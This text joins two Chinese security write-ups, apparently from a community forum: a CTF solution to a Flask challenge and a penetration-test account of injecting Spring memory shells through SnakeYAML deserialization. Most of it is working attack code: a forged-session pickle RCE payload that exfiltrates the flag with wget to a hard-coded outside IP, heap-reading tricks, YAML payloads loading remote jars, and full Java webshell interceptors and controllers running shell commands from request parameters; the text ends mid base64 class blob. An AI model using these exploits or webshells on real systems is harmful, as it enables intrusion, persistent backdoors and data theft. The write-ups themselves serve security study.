import base64
import random
import subprocess
from ctypes import cdll
from config import SECRET_KEY, notadmin,user
cdll.LoadLibrary("./readflag.so")
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
@app.route('/')
@app.route('/index')
def index():
if session.get('username', None):
return redirect(url_for('home'))
else:
return render_template('index.html')
@app.route('/login', methods=["POST"])
def login():
name = request.form.get('username', '')
data = request.form.get('data', 'test')
User = user(name,data)
session["info"]=base64.b64encode(pickle.dumps(User))
return redirect(url_for('home'))
@app.route('/home')
def home():
info = session["info"]
User = restricted_loads(base64.b64decode(info))
Jpg_id = random.randint(1,5)
return render_template('home.html',id = str(Jpg_id), info = User.data)
@app.route('/images')
def images():
command=["wget"]
argv=request.args.getlist('argv')
true_argv=[x if x.startswith("-") else '--'+x for x in argv]
image=request.args['image']
command.extend(true_argv)
command.extend(["-q","-O","-"])
command.append("http://127.0.0.1:8080/"+image)
image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
return image_data.stdout
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=80)
/app/config.py
SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"
notadmin={"admin":"no"}
class user():
def __init__(self, username, data):
self.username = username
self.data = data
def backdoor(cmd):
if isinstance(cmd,list) and notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)
## flask debug pin？
前面说了，开启了debug模式，那么配合任意文件读可以打pin，直接执行python命令。
flask的debug模式提供了一个web上的命令行接口。而这个接口是需要pin码才能访问的。
这个pin码的生成与六个因素有关，其中最重要的是2个因素，一个是网卡地址，这个可以通过执行`uuid.getnode()`或者读`/sys/class/net/eth0/address`来获得。另一个
是机器id，可以通过执行`get_machine_id()`或者读`/etc/machine-id`来获得。
具体exp可以参考<https://xz.aliyun.com/t/2553>
这里我本地环境下可以成功生成pin，但是远程环境没有成功。因此尝试下一条思路。
## session伪造触发pickle反序列化rce
关注到有`SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"`
而flask的session存在客户端，用base64+签名来防篡改。但是获取到签名算法的key后，我们有能力伪造flask session。
在home路由处触发session的pickle反序列化，而pickle反序列化是可以执行pickle的opcode的。
@app.route('/home')
def home():
info = session["info"]
User = restricted_loads(base64.b64decode(info))
Jpg_id = random.randint(1,5)
return render_template('home.html',id = str(Jpg_id), info = User.data)
关于pickle反序列化执行可以参考
<https://xz.aliyun.com/t/7436>
class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))
def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()
这里限制了加载的模块只能为config里的，名字不能有__。但是可以通过config的backdoor函数，绕过。
def backdoor(cmd):
if isinstance(cmd,list) and notadmin["admin"]=="yes":
s=''.join(cmd)
eval(s)
可以看到，要使用backdoor函数必须使得`notadmin["admin"]=="yes"`
而在config.py中`notadmin={"admin":"no"}`,因此需要通过pickle opcode把这个全局变量覆盖成yes。
### 读flag
app.py里 有一个`cdll.LoadLibrary("./readflag.so")`
所以获取readflag.so，放到ida里反编译一下。
可以看到就一个easy()函数。猜测flag文件没有直接读取的权限，要通过readflag.so来读。但是这里看有个问题是，easy函数执行完成后，把flag读到堆上，但是并没有返回指针。
这里有两种方法读flag。分别通过/proc目录和构造uaf的方式来读取堆上的flag。
#### 法1：读proc目录
proc是linux伪文件系统，保存有内存信息。其中/proc/self/maps保存当前进程的虚拟内存各segment的映射关系。可以获取到堆地址的范围。
而访问/proc/self/mem即访问实际的进程内存。需要注意的是，如果访问没有被映射的内存区域则会触发错误，要把文件指针移到对应的区域才能成功访问。
具体代码如下
from ctypes import cdll
a=cdll.LoadLibrary("./readflag.so")
a.easy()
import re
f = open('/proc/self/maps', 'r')
vmmap = f.read()
print(vmmap)
re_obj = re.search(r'(.*)-(.*) rw.*heap', vmmap)
heap = re_obj.group(1)
heap_end = re_obj.group(2)
print(heap)
print(heap_end)
heap = int('0x'+heap,16)
heap_end = int('0x'+heap_end,16)
f.close()
f = open('/proc/self/mem', 'rb')
size = heap_end - heap
f.seek(heap)
res = f.read(size)
res = re.search(b'flag{.*}', res).group()
print(res)
f.close()
#### 法2：构造一个uaf来读flag的内存数据
由于在堆管理中，为了提高效率会加一个类似于缓冲的机制。可以简单理解为不会把free的内存马上放弃掉，而是缓存起来，方便下次再用。利用这一特点可以构造uaf漏洞来读flag的数据。
1. 申请一个0x64的chunk，也就是后面存flag的那块chunk被malloc时需要的size。
2. free这块chunk。free后会这个chunk会放到fastbin或者tcache（glibc较高版本）里面。
3. 调easy()再次malloc申请就会申请到同一块chunk。再利用uaf漏洞，用之前的悬空指针读同一块chunk。
import ctypes
libc = ctypes.cdll.LoadLibrary('libc.so.6')
so1 = ctypes.cdll.LoadLibrary('./readflag.so')
malloc = libc.malloc
free = libc.free
malloc.restype = ctypes.c_void_p
ptr = ctypes.cast(malloc(0x64), ctypes.c_char_p)
free(ptr)
so1.easy()
print(ptr.value)
### opcode构造
知道pickle opcode工作模式后可以利用大师傅写的一个工具
<https://github.com/eddieivan01/pker>
## 最终exp
通过wget 把flag信息传送到服务器上。这里利用的是uaf的方法读flag。proc读flag的方法构造exp过程完全一样。
from base64 import b64encode
from flask import Flask, request, session
from flask.sessions import SecureCookieSessionInterface
import pickle
import requests
opc = b'cconfig\nnotadmin\np0\n0cconfig\nbackdoor\np1\n0g0\nS\'admin\'\nS\'yes\'\nsS\'exec("import ctypes;libc = ctypes.cdll.LoadLibrary(\\\'libc.so.6\\\');so1 = ctypes.cdll.LoadLibrary(\\\'./readflag.so\\\');malloc = libc.malloc;free = libc.free;malloc.restype = ctypes.c_void_p;a = ctypes.cast(malloc(0x64), ctypes.c_char_p);free(a);so1.easy();print(a.value);res= a.value ;import os;os.system(\\\'wget http://1.116.123.136:1234/?\\\'+str(res))")\'\np3\n0g1\n((g3\nltR.'
app = Flask(__name__)
app.config['SECRET_KEY'] = "On_You_fffffinddddd_thi3_kkkkkkeeEEy"
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
opc = b64encode(opc)
sess = {'info': opc}
cookie = serializer.dumps(sess)
print(cookie)
requests.get("http://192.168.37.140/home", cookies={"session":cookie})
可以看到get参数就是flag{dddd}
## 总结
可以看到这个题目涉及到的python安全的点很多，非常适合通过这题来延伸学习各个具体的内容。另外，在做题过程中，经常会碰到各种坑，有时候踩坑也可以换一种思路。 | 社区文章 |
## springboot snakeyaml利用浅析
> 本文简要分析了snakeyaml漏洞在一般场景下注入内存马的难点，并对存在内嵌tomcat依赖的spring应用提出一种漏洞利用思路
### 1\. 前言
前几天接到个任务，目标系统采用springboot框架，测试发现存在 /env 等配置信息泄露，且存在 snake-yaml 漏洞，通过 dump
内存及修改 spring.cloud.bootstrap.location
字段可以确定目标不出网且以jar包形式运行，且该系统为内网端口映射方式运行，不可直接与目标主机通信。幸好目标系统可以上传任意文件，且spring服务端口号与映射端口号一致，这样我们可以先上传jar包到可访问目录下：
拼接后的路径为：<http://ip:9090/server/static/img/2022/04/10/90920220410084330581.jar，将ip替换为>
127.0.0.1，写入yaml文件：
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://127.0.0.1:9090/server/static/img/2022/04/10/90920220410084330581.jar"]
]]
]
替换 spring.cloud.bootstrap.location 字段后刷新配置：
返回报错，但查看异常发现已经创建了 ScriptEngineManager 实例，即可以任意执行代码，通过将执行结果输出到可访问文件中，可获取回显：
然而仅仅是能执行命令肯定是不够的，首先想到的就是写入内存马，既然能够任意代码执行，那么写内存马肯定不难，我天真的这么以为，然而折磨才刚刚开始。。。
### 2.前置知识 - Spring 常见内存马
此处仅针对非Java
agent类型内存马，一般的注入思路都是找到一个保存当前应用上下文的全局变量，进而取出我们需要注入的组件进行修改。对于Spring，可注入的组件有
控制器Controller 和
拦截器Interceptor，前者通过注册一个路由绑定我们需要执行的恶意方法，后者在拦截器数组中插入我们的恶意拦截器，以达到在请求真实数据前执行我们的恶意方法。对于实际情况，由于系统可能会对某些路由进行安全性准入，故拦截器利用的效果更好。以下是一些常见的注入测试代码。
#### 2.1 控制器
package code.landgrey.controller;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Method;
import java.util.Arrays;
@RestController
@EnableAutoConfiguration
public class ControllerInject {
@RequestMapping("/inject2")
public String inject() {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// WebApplicationContext context = ContextLoader.getCurrentWebApplicationContext();
RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
// 注册执行命令的shell
Method method = (Evil.class.getMethods())[0];
PatternsRequestCondition url = new PatternsRequestCondition("/exec");
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
r.registerMapping(info, new Evil(), method);
return "success";
} catch (Exception e){
return (Arrays.toString(e.getStackTrace()));
}
}
public class Evil {
public Evil() {
}
@RequestMapping(value = "/exec")
public void exec(HttpServletRequest request, HttpServletResponse response) throws IOException {
try {
String cmd = request.getParameter("code");
if (cmd != null) {
Process process;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
} else {
response.sendError(404);
}
} catch (Exception var8) {
}
}
}
}
#### 2.2 拦截器
package code.landgrey.controller;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
@RestController
@EnableAutoConfiguration
public class InterceptorInject {
@RequestMapping("/inject")
public String inject() throws Exception {
// 获取应用上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 通过绑定Bean 取出 RequestMappingHandlerMapping
RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
for (Object i : adaptedInterceptors) {
if (i.getClass().getName().contains("Madao")) {
return "ok";
}
}
adaptedInterceptors.add(new Madao());
return "success";
}
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("passer") != null) {
String cmd = request.getParameter("passer");
Process process;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return false;
}
return true;
}
}
}
以上代码本地测试均可通过，对于yaml漏洞无非就是把`ScriptEngineFactory`子类中的初始化代码改成控制器中的代码，核心代码如下：
`AwesomeScriptEngineFactory.class`：
package artsploit;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.lang.reflect.Field;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
// 获取应用上下文
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 通过绑定Bean 取出 RequestMappingHandlerMapping
RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
//实例化恶意拦截器并注册
for (Object i : adaptedInterceptors) {
if (i.getClass().getName().contains("Madao")) {
return;
}
}
adaptedInterceptors.add(Class.forName("artsploit.Madao").newInstance());
} catch (Exception e) {
e.printStackTrace();
}
}
public String getEngineName() {
return null;
}
public String getEngineVersion() {
return null;
}
public List<String> getExtensions() {
return null;
}
public List<String> getMimeTypes() {
return null;
}
public List<String> getNames() {
return null;
}
public String getLanguageName() {
return null;
}
public String getLanguageVersion() {
return null;
}
public Object getParameter(String key) {
return null;
}
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
public String getOutputStatement(String toDisplay) {
return null;
}
public String getProgram(String... statements) {
return null;
}
public ScriptEngine getScriptEngine() {
return null;
}
}
`Madao.class`：
package artsploit;
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Madao extends HandlerInterceptorAdapter {
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("passer") != null) {
String cmd = request.getParameter("passer");
Process process;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", cmd});
} else {
process = Runtime.getRuntime().exec(new String[]{"bash", "-c", cmd});
}
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
response.getOutputStream().write(stringBuilder.toString().getBytes());
response.getOutputStream().flush();
response.getOutputStream().close();
return false;
}
return true;
}
}
于是我信心满满的打包好，上传，刷新，一切都那么波澜不惊，仿佛无事发生。。。
### 3\. 一个一个一个的坑
#### 3.1 无法加载依赖
这我就不服了，当即拉了个漏洞环境到本地：[SpringBootVulExploit](https://github.com/LandGrey/SpringBootVulExploit/)，Idea打开，直接maven右键`debug
spring-boot:run`即可debug运行：
为方便测试，写一个控制器如下：
package code.landgrey.controller;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import javax.script.ScriptEngineManager;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
@RestController
@EnableAutoConfiguration
public class Yaml {
@RequestMapping("/yaml")
public String yamlTest() throws MalformedURLException {
URL url = new URL("http://127.0.0.1:8081/yaml-payload.jar?t="+new Date().getTime());
new ScriptEngineManager(new URLClassLoader(new URL[]{url}));
return "success";
}
}
> 由于 URLClassLoader 对于相同的url会进行缓存，故传入url为 `"http://127.0.0.1:8081/yaml-> payload.jar?t="+new Date().getTime()`，这样替换jar包后每次都会重新发起请求。
等效于yaml反序列化创建一个 ScriptEngineManger，jar包保存在本地开启的tomcat根目录下，访问一下果然报错：
在`ScriptEngineManger#initEngines`里下个断点，捕获异常：
可以看到报错原因是无法加载 springframework包
下的类，原因暂时不管，不过我们在打jar包中是不是把依赖都打包进去就好了呢，试一下，打包后的体积明显大了很多：
果然不报依赖错误了，然而：
#### 3.2 线程绑定的上下文
报错的大概意思是：当前线程不是web线程，无法访问到当前的全局属性。那么大概就是在获取 currentRequestAttributes
时发生错误，这里下个断点，重新请求：
果然获取到的RequestAttributes为空，而正常注入时获取到的RequestAttributes：
保存了当前应用的上下文，故我们的jar包无法进行下一步利用。
那么为什么会获取不到RequestAttributes呢，再跟进一下：
即从当前类的requestAttributesHolder或inheritableRequestAttributesHolder中取出属性，看下这两个变量的定义：
是两个与线程绑定的全局变量，查看当前属性的线程HashCode：
与正常Controller获取到的属性比较：
可以看到其实在进入 ScriptEngineManger 后新创建了一个线程，故无法获取到主线程的上下文属性。
> 此处其实执行`Thread.currentThread()`获取到的仍然是同一线程，没搞懂，姑且当作spring的特性吧。
因此常规获取上下文的方法行不通了。参考[Landgrey](https://landgrey.me/blog/19/)师傅的思路：
从 `liveBenasView` 中取出当前上下文，试试可不可行，先写个控制器：
package code.landgrey.controller;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
@RestController
@EnableAutoConfiguration
public class LiveBeans {
@RequestMapping("/livebeans")
public String beans() throws Exception{
// 1. 反射 org.springframework.context.support.LiveBeansView 类 applicationContexts 属性
java.lang.reflect.Field filed = Class.forName("org.springframework.context.support.LiveBeansView").getDeclaredField("applicationContexts");
// 2. 属性被 private 修饰，所以 setAccessible true
filed.setAccessible(true);
// 3. 获取一个 ApplicationContext 实例
org.springframework.web.context.WebApplicationContext context =(org.springframework.web.context.WebApplicationContext) ((java.util.LinkedHashSet)filed.get(null)).iterator().next();
return "success";
}
}
访问发现报错：
在 `LiveBeansView#registerApplicationContext` 方法下断点，重启spring，发现进入该方法：
获取环境变量 `mbeanDomain`为null，故不进行Bean的注册，因此也无法通过此方法获取到上下文，只能另想他招。
#### 3.3 内嵌TomcatClassloader的利用
先利用 [java-object-searcher](https://github.com/c0ny1/java-object-searcher)
找一下能获取到`applicationContext`的链，安装到本地maven后引入依赖即可使用：
<dependency>
<groupId>me.gv7.tools</groupId>
<artifactId>java-object-searcher</artifactId>
<version>0.1.0</version>
</dependency>
找到的链大致如下：
而在测试线程时刚好看到在进入恶意jar包时线程上下文的 ClassLoader 为
`TomcatEmbeddedWebappClassLoader`，即内嵌TomcatClassLoader：
在往下翻几层：
可以看到 `contextClassLoader.resources.context.context` 是一个眼熟的类，把它取出来看看：
发现attributes里又保存了个眼熟的值，把`org.springframework.web.context.WebApplicationContext.ROOT`取出来：
发现刚好是个 `BeanFactory`，打印所有Bean：
发现跟从 `WebApplicationContext`中取出的 Bean 一模一样，其中也保存了requestMappingHandlerMapping
，
那么我们可以从当前线程获取到这个变量，然后再取出 requestMappingHandlerMapping 绑定的 Bean不就能达到一样的效果了吗？
先写个控制器试一下：
package code.landgrey.controller;
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.springframework.boot.autoconfigure.EnableAutoConfiguration;
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedWebappClassLoader;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Field;
@RestController
@EnableAutoConfiguration
public class TomcatInject {
@RequestMapping("/tomcat")
public String tomcat() throws Exception{
// 取出内嵌tomcat上下文
Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext();
// TomcatEmbeddedContext非公共类，反射取出私有属性context
Field contextField = StandardContext.class.getDeclaredField("context");
contextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) contextField.get(tomcatEmbeddedContext);
// 以下类似
WebApplicationContext context = (WebApplicationContext)applicationContext.getAttribute("org.springframework.web.context.WebApplicationContext.ROOT");
RequestMappingHandlerMapping abstractHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
// 防止重复注册
for (Object i : adaptedInterceptors) {
if (i.getClass().getName().contains("Madao")) {
return "ok";
}
}
//实例化恶意拦截器并注册
adaptedInterceptors.add(Class.forName("artsploit.Madao").newInstance());
return "success";
}
}
访问<http://127.0.0.1:9092/tomcat> :
已成功注入：
正当我再次满怀期待的打好jar包测试时，现实又给了我当头一棒：
两个一模一样的类告诉我不能强制转换，这下给我整不会了。
#### 3.3 全限定名类转换报错
查阅相关资料后，发现原来是 JVM 的规范引起的：
JVM判断两个类对象是否相同的依据:一是类全称;一个是类加载器。
而我们在创建 ScriptEngineManger时，是新建了一个 URLClassLoader 实例加载我们的 jar 包，因此jar包里的依赖都是由
新的 URLClassLoader 加载的，而非主线程的URLClassLoader：
这也解释了之前找不到依赖的原因。
为了解决这个bug，首先想到的是全部用反射调用方法和属性，花了好大功夫才一步步整出来下面这个畸形的类，其中艰辛不再细说：
package artsploit;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
// 从当前线程取出上下文，适用于多线程情况 -> 会报错，还是反射调用吧
// Context tomcatEmbeddedContext = ((TomcatEmbeddedWebappClassLoader) Thread.currentThread().getContextClassLoader()).getResources().getContext();
ClassLoader tomcatClassLoader = Thread.currentThread().getContextClassLoader();
Method getResources = Thread.currentThread().getContextClassLoader().getClass().getSuperclass().getSuperclass().getMethod("getResources");
Object resources = getResources.invoke(tomcatClassLoader);
Method getContext = getResources.invoke(tomcatClassLoader).getClass().getMethod("getContext");
Object tomcatEmbeddedContext = (Object) getContext.invoke(resources);
// 取出 ApplicationContext
Field contextField = getContext.invoke(resources).getClass().getSuperclass().getDeclaredField("context");
contextField.setAccessible(true);
Object applicationContext = (Object) contextField.get(tomcatEmbeddedContext);
Method getAttribute = contextField.get(tomcatEmbeddedContext).getClass().getMethod("getAttribute", String.class);
Object webApplicationContext = (Object) getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT");
Class<?> abstractApplicationContext = getAttribute.invoke(applicationContext, "org.springframework.web.context.WebApplicationContext.ROOT").getClass().getSuperclass().getSuperclass().getSuperclass().getSuperclass();
Method getBean = abstractApplicationContext.getMethod("getBean", String.class);
Method getBeanDefinitionNames =abstractApplicationContext.getMethod("getBeanDefinitionNames");
// 测试输出所有 Bean
Object[] result = (Object[]) getBeanDefinitionNames.invoke(webApplicationContext);
for(Object r:result){
System.out.println(r.toString());
}
} catch (Exception e) {
e.printStackTrace();
}
}
public String getEngineName() {
return null;
}
public String getEngineVersion() {
return null;
}
public List<String> getExtensions() {
return null;
}
public List<String> getMimeTypes() {
return null;
}
public List<String> getNames() {
return null;
}
public String getLanguageName() {
return null;
}
public String getLanguageVersion() {
return null;
}
public Object getParameter(String key) {
return null;
}
public String getMethodCallSyntax(String obj, String m, String... args) {
return null;
}
public String getOutputStatement(String toDisplay) {
return null;
}
public String getProgram(String... statements) {
return null;
}
public ScriptEngine getScriptEngine() {
return null;
}
}
测试输出所有绑定的 Bean ：
此时胜利的曙光仿佛就在眼前，取出拦截器列表后插入一个恶意类：
Method getBean = abstractApplicationContext.getMethod("getBean", String.class);
// 单例模式
Object abstractHandlerMapping = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping");
// 反射获取adaptedInterceptors属性
Field field = getBean.invoke(webApplicationContext, "requestMappingHandlerMapping").getClass().getSuperclass().getSuperclass().getSuperclass().getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping);
for (Object i : adaptedInterceptors) {
if (i.getClass().getName().contains("Madao")) {
return;
}
}
adaptedInterceptors.add(new Madao());
System.out.println("1ok");
直接访问并未报错：
然而。。。
正如前文提到的，加载jar包的类加载器与主线程的不一致，故我们写的恶意拦截器不能强制转换为主线程中的拦截器类，因此报错，难道只能这样就结束了吗？
### 4\. 最终
重新查看当前线程的内嵌tomcat加载器：
注意到这个父加载器，取出来看看：
发现它刚好就是我们主线程的加载器，那么我们可以先获取到这个主加载器，再用它加载我们的 `Madao` 拦截器不就可以了吗，用此思路，顺便将核心代码封装为
`Evil`类，利用子线程的ClassLoader加载，再在
`Evil`类中获取主加载器，加载我们的`Madao`插入拦截器中。这样不用引入任何依赖，jar包体积也缩小至几KB，最终代码如下：
`AwesomeScriptEngineFactory.class`：
package artsploit;
import org.apache.catalina.Context;
import org.apache.catalina.WebResourceRoot;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.springframework.beans.factory.BeanFactory;
import org.springframework.boot.context.embedded.AnnotationConfigEmbeddedWebApplicationContext;
import org.springframework.boot.context.embedded.tomcat.TomcatEmbeddedWebappClassLoader;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.script.ScriptEngine;
import javax.script.ScriptEngineFactory;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Arrays;
import java.util.Base64;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
ClassLoader classLoader = this.getClass().getClassLoader();
Class evilClass = defineClass(classLoader, "yv66vgAAADQAzAoACQBnCgBoAGkKAGgAagoACQBrCgAHAGwIADsHAG0KAAcAbgcAbwoAcABxCAA+CAByCgAHAHMKAHQAdQoAdAB2CABDBwB3CAB4CABHCABICAB5CABLCQB6AHsIAHwKAH0AfgcAfwoAGgCACwCBAIILAIEAgwoABwCECACFCgARAIYIAIcHAIgIAIkKAC8AigoABwCLCgAaAIwIAF4HAGQJAI0AjgoABwCPCgBwAHUKAJAAkQoAkgCTCgCNAJQHAJUBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQABaQEAEkxqYXZhL2xhbmcvT2JqZWN0OwEABHRoaXMBABBMYXJ0c3Bsb2l0L0V2aWw7AQARdG9tY2F0Q2xhc3NMb2FkZXIBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEADGdldFJlc291cmNlcwEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAJcmVzb3VyY2VzAQAKZ2V0Q29udGV4dAEAFXRvbWNhdEVtYmVkZGVkQ29udGV4dAEADGNvbnRleHRGaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABJhcHBsaWNhdGlvbkNvbnRleHQBAAxnZXRBdHRyaWJ1dGUBABV3ZWJBcHBsaWNhdGlvbkNvbnRleHQBABphYnN0cmFjdEFwcGxpY2F0aW9uQ29udGV4dAEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAHZ2V0QmVhbgEAFmdldEJlYW5EZWZpbml0aW9uTmFtZXMBABZhYnN0cmFjdEhhbmRsZXJNYXBwaW5nAQAFZmllbGQBABNhZGFwdGVkSW50ZXJjZXB0b3JzAQAVTGphdmEvdXRpbC9BcnJheUxpc3Q7AQAUZ2V0UGFyZW50Q0xhc3NMb2FkZXIBABFwYXJlbnRDbGFzc0xvYWRlcgEACm1hZGFvQ2xhc3MBABZMb2NhbFZhcmlhYmxlVHlwZVRhYmxlAQAUTGphdmEvbGFuZy9DbGFzczwqPjsBAClMamF2YS91dGlsL0FycmF5TGlzdDxMamF2YS9sYW5nL09iamVjdDs+OwEADVN0YWNrTWFwVGFibGUHAJUHAIgHAJYHAG8HAJcHAG0HAH8HAJgBAApFeGNlcHRpb25zBwCZAQALZGVmaW5lQ2xhc3MBADwoTGphdmEvbGFuZy9DbGFzc0xvYWRlcjtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAtjbGFzc0xvYWRlcgEACWNsYXNzQnl0ZQEAEkxqYXZhL2xhbmcvU3RyaW5nOwEACWV2YWxCeXRlcwEAAltCAQAKU291cmNlRmlsZQEACUV2aWwuamF2YQwAMAAxBwCaDACbAJwMA